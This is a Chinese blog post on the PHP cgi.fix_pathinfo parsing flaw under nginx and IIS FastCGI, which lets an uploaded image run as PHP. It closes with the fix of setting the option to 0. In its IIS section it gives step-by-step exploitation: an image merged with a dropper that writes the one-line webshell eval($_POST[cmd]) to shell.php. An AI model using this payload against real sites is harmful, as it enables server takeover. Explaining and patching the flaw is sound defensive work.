PHP里经常要获取当前请求的URL路径信息。一般可以通过环境变量$_SERVER[‘PATH_INFO’]获取,而配置文件中的cgi.fix_pathinifo选项则与这个值的获取相关。而$_SERVER[‘PATH_INFO’]中的key PATH_INFO是一个CGI 1.1的标准,经常用来做为传递参数给后端的CGI服务器。
被很多系统用来优化url路径格式,比如对于很多框架,下面这个网址:
http://www.xxx.com/index.php/test/my.html?c=index&m=search
我们可以得到
$_SERVER[‘PATH_INFO’] = ‘/test/my.html’
$_SERVER[‘QUERY_STRING’] = ‘c=index&m=search’;
我们再说下php.ini中的配置参数cgi.fix_pathinfo,它是用来对设置cgi模式下为php是否提供绝对路径信息或PATH_INFO信息。没有这个参数之前PHP设置绝对路径PATH_TRANSLATED的值为SCRIPT_FILENAME,没有PATH_INFO值。设置cgi.fix_pathinfo=1后,cgi设置完整的路径信息PATH_TRANSLATED的值为SCRIPT_FILENAME,并且设置PATH_INFO信息;如果设为cgi.fix_pathinfo=0则只设置绝对路径PATH_TRANSLATED的值为SCRIPT_FILENAME。cgi.fix_pathinfo的默认值是1。
nginx默认是不会设置PATH_INFO环境变量的的值,需要通过正则匹配设置SCRIPT_FILENAME,但这样会带来安全隐患,需要把cgi.fix_pathinfo=0设置为0。但是一旦关闭这个这场,PHP就获取不到PATH_INFO信息,那些依赖PATH_INFO进行URL美化的程序就失效了。
现在普遍的Nginx + PHP cgi的做法是在配置文件中, 通过正则匹配(Nginx(PHP/fastcgi)的PATH_INFO问题)设置SCRIPT_FILENAME, 今天发现了一个这种方式的安全漏洞.
比如, 有http://www.xxx.com/fake.jpg, 那么通过构造如下的URL, 就可以看到fake.jpg的二进制内容:
http://www.xxx.com/fake.jpg/foo.php
为什么会这样呢?
比如, 如下的nginx conf:
location ~ \.php($|/) { fastcgi_pass 127.0.0.1:9000; fastcgi_index index.php; set $script $uri; set $path_info ""; if ($uri ~ "^(.+\.php)(/.*)") { set $script $1; set $path_info $2; } include fastcgi_params; fastcgi_param SCRIPT_FILENAME $document_root$script; fastcgi_param SCRIPT_NAME $script; fastcgi_param PATH_INFO $path_info; }
通过正则匹配以后, SCRIPT_NAME会被设置为"fake.jpg/foo.php", 继而构造成SCRIPT_FILENAME传递个PHP CGI, 但是PHP又为什么会接受这样的参数, 并且把a.jpg解析呢?
这就要说到PHP的cgi SAPI中的参数, fix_pathinfo了:
; cgi.fix_pathinfo provides *real* PATH_INFO/PATH_TRANSLATED support for CGI. PHP's ; previous behaviour was to set PATH_TRANSLATED to SCRIPT_FILENAME, and to not grok ; what PATH_INFO is. For more information on PATH_INFO, see the cgi specs. Setting ; this to 1 will cause PHP CGI to fix it's paths to conform to the spec. A setting ; of zero causes PHP to behave as before. Default is 1. You should fix your scripts ; to use SCRIPT_FILENAME rather than PATH_TRANSLATED. cgi.fix_pathinfo=1
如果开启了这个选项, 那么就会触发在PHP中的如下逻辑:
/* * if the file doesn't exist, try to extract PATH_INFO out * of it by stat'ing back through the '/' * this fixes url's like /info.php/test */ if (script_path_translated && (script_path_translated_len = strlen(script_path_translated)) > 0 && (script_path_translated[script_path_translated_len-1] == '/' || ....//以下省略.
到这里, PHP会认为SCRIPT_FILENAME是fake.jpg, 而foo.php是PATH_INFO, 然后PHP就把fake.jpg当作一个PHP文件来解释执行... So...
这个隐患的危害是巨大的.
对于一些论坛来说, 如果上传一个图片(实际上是恶意的PHP脚本), 继而构造这样的访问请求...
所以, 大家如果有用这种服务器搭配的, 请排查, 如果有隐患, 请关闭fix_pathinfo(默认是开启的).
打到php.ini文件,做如下修改:
cgi.fix_pathinfo=0
IIS7/7.5在Fast-CGI运行模式下,在一个文件路径(/xx.jpg)后面加上/xx.php会将/xx.jpg/xx.php 解析为 php 文件。
常用利用方法:将一张图和一个写入后门代码的文本文件合并将恶意文本写入图片的二进制代码之后,避免破坏图片文件头和尾
e.g. copy xx.jpg/b + yy.txt/a xy.jpg
######################################
/b 即二进制[binary]模式
/a 即ascii模式 xx.jpg正常图片文件
yy.txt 内容 <?PHPfputs(fopen('shell.php','w'),'<?php eval($_POST[cmd])?>');?>
意思为写入一个内容为 <?php eval($_POST[cmd])?> 名称为shell.php的文件
######################################
找个地方上传 xy.jpg ,然后找到 xy.jpg 的地址,在地址后加上 /xx.php 即可执行恶意文本。
然后就在图片目录下生成一句话木马 shell.php 密码 cmd
注意:
该解析漏洞利用需这个条件:
php.ini里cgi.fix_pathinfo=1(默认为1)
解决方案:
配置cgi.pathinfo(php.ini中)为0并重启php-cgi程序
如对本文有疑问,请提交到交流论坛,广大热心网友会为你解答!! 点击进入论坛